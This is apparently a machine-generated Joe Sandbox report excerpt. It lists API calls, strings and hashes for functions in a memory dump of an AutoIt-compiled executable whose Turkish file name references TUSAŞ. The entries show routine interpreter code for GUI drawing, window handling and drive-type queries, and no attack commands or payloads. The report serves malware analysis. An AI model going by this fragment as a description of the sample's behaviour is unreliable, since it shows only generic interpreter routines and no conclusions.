Instruction Fuzzy Hash: 2FC1E93360515309EF6D4639C676A3EBAA1AE937B131A035DD4B3CB1C5EE20C978F660

Function 00FC1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 2ba69262dfbd7e423e4fd111d6a8d04fc8aeef342fabb155543453edc4f57627
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 14C1A93260515309EF2D4639C636A3EBBA17EA37B131A075DD4B3CB1C6EE20C979E650

Function 01017806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0101785B
DeleteObject.GDI32(00000000), ref: 0101786D
DestroyWindow.USER32 ref: 0101787B
GetDesktopWindow.USER32 ref: 01017895
GetWindowRect.USER32(00000000), ref: 0101789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 010179DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 010179ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017A35
GetClientRect.USER32(00000000,?), ref: 01017A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 01017A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017ABB
GlobalLock.KERNEL32(00000000), ref: 01017AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017AD3
GlobalUnlock.KERNEL32(00000000), ref: 01017ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017AE3
GlobalFree.KERNEL32(00000000), ref: 01017AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,01032CAC,00000000), ref: 01017B16
GlobalFree.KERNEL32(00000000), ref: 01017B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 01017B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 01017B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 01017D7A

Strings

, xrefs: 01017D00
AutoIt v3, xrefs: 01017A2D
static, xrefs: 01017A75, 01017BCC
DISPLAY, xrefs: 01017BDD

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 6b23cf48c831c48b82e660c8c12ffb47ae0493a2cb83490cfd2ac4d412fd5e6b
Instruction ID: a87312f6c36c32f77fd99472d3a018c78e3475eda366d1fe6951e28d8b0a2ef5
Opcode Fuzzy Hash: 6b23cf48c831c48b82e660c8c12ffb47ae0493a2cb83490cfd2ac4d412fd5e6b
Instruction Fuzzy Hash: B002A27190010AEFDB24DFA8DC89EAE7BB9FF49350F148158F945AB294CB799D01CB60

Function 0102356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0102F910), ref: 01023627
IsWindowVisible.USER32(?), ref: 0102364B

Strings

ISVISIBLE, xrefs: 01023637
SELECTSTRING, xrefs: 01023806
GETLINECOUNT, xrefs: 010238C6
HIDEDROPDOWN, xrefs: 01023700
ADDSTRING, xrefs: 01023716
FINDSTRING, xrefs: 01023776
SENDCOMMANDID, xrefs: 010239DA
SETCURRENTSELECTION, xrefs: 010237B6
TABRIGHT, xrefs: 0102369D
DELSTRING, xrefs: 01023749
GETCURRENTCOL, xrefs: 01023928
CHECK, xrefs: 0102386D
GETCURRENTLINE, xrefs: 010238ED
GETLINE, xrefs: 0102399B
UNCHECK, xrefs: 01023883
GETSELECTED, xrefs: 010238A3
GETCURRENTSELECTION, xrefs: 010237E3
ISCHECKED, xrefs: 01023839
ISENABLED, xrefs: 0102366B
EDITPASTE, xrefs: 0102395F
TABLEFT, xrefs: 01023687
SHOWDROPDOWN, xrefs: 010236E0
CURRENTTAB, xrefs: 010236BD

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 4b4089e46acc32baaaaf442609e710805428635a06a4d9f89b42b531d56238f2
Instruction ID: 58043a03722bf4dccb7da8e57082d6d3e500b6956aff2dcf8ce744147b3d198a
Opcode Fuzzy Hash: 4b4089e46acc32baaaaf442609e710805428635a06a4d9f89b42b531d56238f2
Instruction Fuzzy Hash: DBD18B70208311CBCB14EF14C956A6EBBE5BF89384F044468F9C65F3A2CB2DE90ADB51

Function 0102A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0102A630
GetSysColorBrush.USER32(0000000F), ref: 0102A661
GetSysColor.USER32(0000000F), ref: 0102A66D
SetBkColor.GDI32(?,000000FF), ref: 0102A687
SelectObject.GDI32(?,00000000), ref: 0102A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0102A6C1
GetSysColor.USER32(00000010), ref: 0102A6C9
CreateSolidBrush.GDI32(00000000), ref: 0102A6D0
FrameRect.USER32(?,?,00000000), ref: 0102A6DF
DeleteObject.GDI32(00000000), ref: 0102A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0102A731
FillRect.USER32(?,?,00000000), ref: 0102A763
GetWindowLongW.USER32(?,000000F0), ref: 0102A78E

Part of subcall function 0102A8CA: GetSysColor.USER32(00000012), ref: 0102A903
Part of subcall function 0102A8CA: SetTextColor.GDI32(?,?), ref: 0102A907
Part of subcall function 0102A8CA: GetSysColorBrush.USER32(0000000F), ref: 0102A91D
Part of subcall function 0102A8CA: GetSysColor.USER32(0000000F), ref: 0102A928
Part of subcall function 0102A8CA: GetSysColor.USER32(00000011), ref: 0102A945
Part of subcall function 0102A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0102A953
Part of subcall function 0102A8CA: SelectObject.GDI32(?,00000000), ref: 0102A964
Part of subcall function 0102A8CA: SetBkColor.GDI32(?,00000000), ref: 0102A96D
Part of subcall function 0102A8CA: SelectObject.GDI32(?,?), ref: 0102A97A
Part of subcall function 0102A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0102A999
Part of subcall function 0102A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0102A9B0
Part of subcall function 0102A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0102A9C5
Part of subcall function 0102A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0102A9ED

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ac4ba8c4a903c493e8f728e01be71cc1a1a4f866a39facbf7530b322a7dc44f2
Instruction ID: 8c737bc2030b5fc58c2dd347ae1175eec8ccb5b7e262790d8215d70b42370d1d
Opcode Fuzzy Hash: ac4ba8c4a903c493e8f728e01be71cc1a1a4f866a39facbf7530b322a7dc44f2
Instruction Fuzzy Hash: 45918D72108312EFD7219F64DC08E5B7BF9FF89361F200A19FAA296194DB7AD844CB51

Function 00FA2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00FA2CA2
DeleteObject.GDI32(00000000), ref: 00FA2CE8
DeleteObject.GDI32(00000000), ref: 00FA2CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00FA2CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00FA2D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00FDC43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00FDC474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00FDC89D

Part of subcall function 00FA1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00FA2036,?,00000000,?,?,?,?,00FA16CB,00000000,?), ref: 00FA1B9A

SendMessageW.USER32(?,00001053), ref: 00FDC8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00FDC8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FDC907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00FDC912

Strings

0, xrefs: 00FDC731

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: e1b3287af43bb4c09e51b7deb3c3d0b87d260d1bb54fcfdf3dab86b3d627388a
Instruction ID: a8e471a248838c62af17c2d61602db85342fb17c389d3510f411a0cf66082228
Opcode Fuzzy Hash: e1b3287af43bb4c09e51b7deb3c3d0b87d260d1bb54fcfdf3dab86b3d627388a
Instruction Fuzzy Hash: E912A170A04202EFDB25CF28C884BA9B7E6FF05360F58456AF599CB652C735EC41EB91

Function 010174AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 010174DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0101759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 010175DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 010175ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 01017633
GetClientRect.USER32(00000000,?), ref: 0101763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 01017683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 01017692
GetStockObject.GDI32(00000011), ref: 010176A2
SelectObject.GDI32(00000000,00000000), ref: 010176A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 010176B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 010176BF
DeleteDC.GDI32(00000000), ref: 010176C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 010176F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0101770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 01017746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0101775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0101776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0101779B
GetStockObject.GDI32(00000011), ref: 010177A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 010177B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 010177BB

Strings

AutoIt v3, xrefs: 0101762B
static, xrefs: 0101767D, 01017795
msctls_progress32, xrefs: 0101773C
DISPLAY, xrefs: 01017688

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 56aaafdb8da3378a90feb8eaf85fca2b94e3ddb20eaf91956cb3445fc2422bf5
Instruction ID: 6cb34f0b771f67f848a5c06ba3f605adb01256967813ea12ba58b39c069a1e6f
Opcode Fuzzy Hash: 56aaafdb8da3378a90feb8eaf85fca2b94e3ddb20eaf91956cb3445fc2422bf5
Instruction Fuzzy Hash: B6A161B1A40215BFEB24DFA5DC4AFAF7BB9EB05750F104114FA54A72D4C6B9AD00CB60

Function 0100AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0100AD1E
GetDriveTypeW.KERNEL32(?,0102FAC0,?,\\.\,0102F910), ref: 0100ADFB
SetErrorMode.KERNEL32(00000000,0102FAC0,?,\\.\,0102F910), ref: 0100AF59

Strings

RAID, xrefs: 0100AEF7
CDROM, xrefs: 0100AE2F
SAS, xrefs: 0100AF05
Removable, xrefs: 0100AE4D
Unknown, xrefs: 0100AE1B, 0100AEBF
SATA, xrefs: 0100AF0C
\\.\, xrefs: 0100AD70
1394, xrefs: 0100AEDB
MMC, xrefs: 0100AF1A
Network, xrefs: 0100AE39
Fixed, xrefs: 0100AE43
ATAPI, xrefs: 0100AECD
ATA, xrefs: 0100AED4
USB, xrefs: 0100AEF0
SSA, xrefs: 0100AEE2
iSCSI, xrefs: 0100AEFE
FileBackedVirtual, xrefs: 0100AF28
PhysicalDrive, xrefs: 0100ADA7
RAMDisk, xrefs: 0100AE25
Fibre, xrefs: 0100AEE9
SSD, xrefs: 0100AE86
SCSI, xrefs: 0100AEC6
Virtual, xrefs: 0100AF21

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 4d837a12768b77749c54c72c8efe4701bac18815392801a709b10f77f6ae4954
Instruction ID: 864c54e0a49c3975ec1016b066bcf527df8792c2f00ec3966785f876e712cfeb
Opcode Fuzzy Hash: 4d837a12768b77749c54c72c8efe4701bac18815392801a709b10f77f6ae4954
Instruction Fuzzy Hash: 9F51AFF0748305EBAB92EBA6C942DBE77A5EB09600F10805FECC7AB2D1D6719901DB51

Function 00FA68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FA6931
__wcsnicmp.LIBCMT ref: 00FA6949
__wcsnicmp.LIBCMT ref: 00FA6961
__wcsnicmp.LIBCMT ref: 00FA6979
__wcsnicmp.LIBCMT ref: 00FA6991
__wcsnicmp.LIBCMT ref: 00FA69A9
__wcsnicmp.LIBCMT ref: 00FA69C1
__wcsnicmp.LIBCMT ref: 00FA69D5
__wcsnicmp.LIBCMT ref: 00FA6A16
__wcsnicmp.LIBCMT ref: 00FA6A2A
__wcsnicmp.LIBCMT ref: 00FA6A3E
__wcsnicmp.LIBCMT ref: 00FA6A52

Strings

#OnAutoItStartRegister, xrefs: 00FA6973
Cannot parse #include, xrefs: 00FDE3F0
#comments-end, xrefs: 00FA6A38
#include, xrefs: 00FA69A3
#requireadmin, xrefs: 00FA695B
#include-once, xrefs: 00FA698B
#comments-start, xrefs: 00FA69BB, 00FA6A10
#cs, xrefs: 00FA69CF, 00FA6A24
#pragma compile, xrefs: 00FA692B
Bad directive syntax error, xrefs: 00FDE31A
#ce, xrefs: 00FA6A4C
#notrayicon, xrefs: 00FA6943
Unterminated group of comments, xrefs: 00FDE403

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 34ccf3f53106101c734c6daa6ed52ccbe84cb2183371b48a276d8d495dfb342d
Instruction ID: d496460b49ef8662753a36e787541dac6167fe7eba0994cc937c6eeca6c3fba5
Opcode Fuzzy Hash: 34ccf3f53106101c734c6daa6ed52ccbe84cb2183371b48a276d8d495dfb342d
Instruction Fuzzy Hash: 668119F1640206AACB11BB21EC43FBF3769AF16750F084029F945EE192EB68DE45F651

Function 01029A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 01029AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 01029B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 01029BA7

Strings

0, xrefs: 01029BE4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 14b37537234b61af0458856baf26d59e8b9ffda7747466548c110c1ae1c0de21
Instruction ID: d072f32c2cbe6148e33ed06d392708ad07457dad0e097caf19ac239a2410906a
Opcode Fuzzy Hash: 14b37537234b61af0458856baf26d59e8b9ffda7747466548c110c1ae1c0de21
Instruction Fuzzy Hash: 6502E030104321AFEBA58F28C848FAABFE5FF49358F04455DFAD9962A1C779D844CB91

Function 0102A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0102A903
SetTextColor.GDI32(?,?), ref: 0102A907
GetSysColorBrush.USER32(0000000F), ref: 0102A91D
GetSysColor.USER32(0000000F), ref: 0102A928
CreateSolidBrush.GDI32(?), ref: 0102A92D
GetSysColor.USER32(00000011), ref: 0102A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0102A953
SelectObject.GDI32(?,00000000), ref: 0102A964
SetBkColor.GDI32(?,00000000), ref: 0102A96D
SelectObject.GDI32(?,?), ref: 0102A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0102A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0102A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0102A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0102A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0102AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0102AA32
DrawFocusRect.USER32(?,?), ref: 0102AA3D
GetSysColor.USER32(00000011), ref: 0102AA4B
SetTextColor.GDI32(?,00000000), ref: 0102AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0102AA67
SelectObject.GDI32(?,0102A5FA), ref: 0102AA7E
DeleteObject.GDI32(?), ref: 0102AA89
SelectObject.GDI32(?,?), ref: 0102AA8F
DeleteObject.GDI32(?), ref: 0102AA94
SetTextColor.GDI32(?,?), ref: 0102AA9A
SetBkColor.GDI32(?,?), ref: 0102AAA4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 78f0305c9340b35cbe30863df2ad695c36f55c3860c09b83122a85797b8134c9
Instruction ID: 508c0c2cb1d96e65a92983cc133951027ff5f25cb16d2b18b99d829abaeb8d82
Opcode Fuzzy Hash: 78f0305c9340b35cbe30863df2ad695c36f55c3860c09b83122a85797b8134c9
Instruction Fuzzy Hash: 9E518E71900219FFDB219FA4DC48EAE7BB9FF08360F214255FA51AB295C77A9940CF50

Function 010289D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 01028AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01028AD2
CharNextW.USER32(0000014E), ref: 01028B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 01028B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 01028B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01028B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 01028B86
SetWindowTextW.USER32(?,0000014E), ref: 01028BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 01028BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 01028C1F
_memset.LIBCMT ref: 01028C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 01028C8D
_memset.LIBCMT ref: 01028CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 01028D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 01028D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 01028E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 01028E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 01028E87
